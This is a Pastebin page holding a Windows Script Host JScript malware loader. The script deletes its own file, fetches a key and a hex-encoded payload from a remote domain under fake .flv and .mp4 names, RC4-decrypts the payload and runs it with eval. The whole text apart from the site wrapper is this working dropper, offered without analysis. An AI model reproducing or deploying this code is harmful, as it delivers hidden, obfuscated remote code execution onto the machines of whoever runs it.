Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var domurl = "gae3emightymagoo.com";
- addr1 = "https://"+domurl+"/"+(new Date()).getTime()+".flv";
- addr = "https://"+domurl+"/"+(new Date()).getTime()+".mp4";
- a = new ActiveXObject('WScript.Shell');
- m = new ActiveXObject("MSXML2.XMLHTTP");
- f = new ActiveXObject("Scripting.FileSystemObject");
- try{
- c=WScript.ScriptFullName;
- if(f.FileExists(c))f.DeleteFile(c);
- }
- catch(e){}
- for(var i=1;i<=5;i++){
- try{
- m.open("GET", addr1+"?t="+(new Date()).getTime(), false);
- m.send(null);
- break;}
- catch(e)
- {
- WScript.Sleep(5000);
- }
- }
- key=m.ResponseText.substring(3);
- id=m.ResponseText.substring(0,3);
- for(var i=1;i<=5;i++)
- {
- try{
- m.open("GET", addr+"?t="+(new Date()).getTime(), false);
- m.send(null);
- break;
- }
- catch(e)
- {
- WScript.Sleep(5000);
- }
- }
- encoded=m.ResponseText;
- crypted="";
- for(i=0;i<encoded.length;i+=2)
- crypted+=String.fromCharCode(parseInt(encoded.substr(i,2),16));
- cyphered=crypted;
- var rc4table = [], counter2 = 0, tmp, decrypted = "";
- for (var counter = 0; counter < 256; counter++)
- {rc4table[counter] = counter;}
- for (counter = 0; counter < 256; counter++)
- {
- counter2 = (counter2 + rc4table[counter] + key.charCodeAt(counter % key.length)) % 256;
- tmp = rc4table[counter];
- rc4table[counter] = rc4table[counter2];
- rc4table[counter2] = tmp;
- }
- counter = 0;
- counter2 = 0;
- for (var counter3 = 0; counter3 < cyphered.length; counter3++)
- {
- counter = (counter + 1) % 256;counter2 = (counter2 + rc4table[counter]) % 256;tmp = rc4table[counter];
- rc4table[counter] = rc4table[counter2];rc4table[counter2] = tmp;
- decrypted += String.fromCharCode(cyphered.charCodeAt(counter3) ^ rc4table[(rc4table[counter] + rc4table[counter2]) % 256]);
- }
- eval(decrypted);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement